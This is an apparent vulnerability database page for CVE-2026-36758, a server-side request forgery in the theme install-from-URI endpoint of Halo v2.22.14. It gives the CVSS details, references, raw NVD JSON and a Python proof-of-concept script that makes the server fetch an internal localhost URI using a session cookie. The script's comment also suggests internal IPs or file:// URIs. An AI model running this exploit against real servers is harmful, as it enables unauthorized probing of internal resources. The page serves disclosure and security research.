CVE-2026-36758

Description

A Server-Side Request Forgery (SSRF) in the /themes/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Halo v2.22.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_ssrf(target_url, cookie):
    """
    PoC for CVE-2026-36758 Halo SSRF Vulnerability
    """
    # The vulnerable endpoint
    endpoint = "/themes/-/install-from-uri"
    
    # Malicious URI pointing to internal resource (e.g., localhost admin)
    # Change to internal IP or file:// protocol based on environment
    internal_uri = "http://127.0.0.1:8080/api/health" 
    
    headers = {
        "User-Agent": "Mozilla/5.0 (compatible; SSRF-Tester/1.0)",
        "Cookie": cookie
    }
    
    params = {
        "uri": internal_uri
    }
    
    try:
        print(f"[*] Sending request to {target_url}{endpoint} with payload: {internal_uri}")
        response = requests.get(target_url + endpoint, headers=headers, params=params, timeout=10)
        
        if response.status_code == 200:
            print(f"[+] Request successful! Status: {response.status_code}")
            print(f"[+] Response length: {len(response.text)}")
            print("[+] Check response content for signs of internal resource leakage.")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://localhost:8090"  # Replace with actual target
    session_cookie = "SESSION=your_cookie_here" # Replace with valid auth cookie
    check_ssrf(target, session_cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36758
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36758
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36758/
[4] VulDB https://vuldb.com/cve/CVE-2026-36758
[5] https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf3/readme.md
[6] https://github.com/halo-dev/halo
[7] https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf3/readme.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36758", "sourceIdentifier": "[email protected]", "published": "2026-04-30T16:16:42.400", "lastModified": "2026-04-30T18:16:28.620", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) in the /themes/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf3/readme.md", "source": "[email protected]"}, {"url": "https://github.com/halo-dev/halo", "source": "[email protected]"}, {"url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf3/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}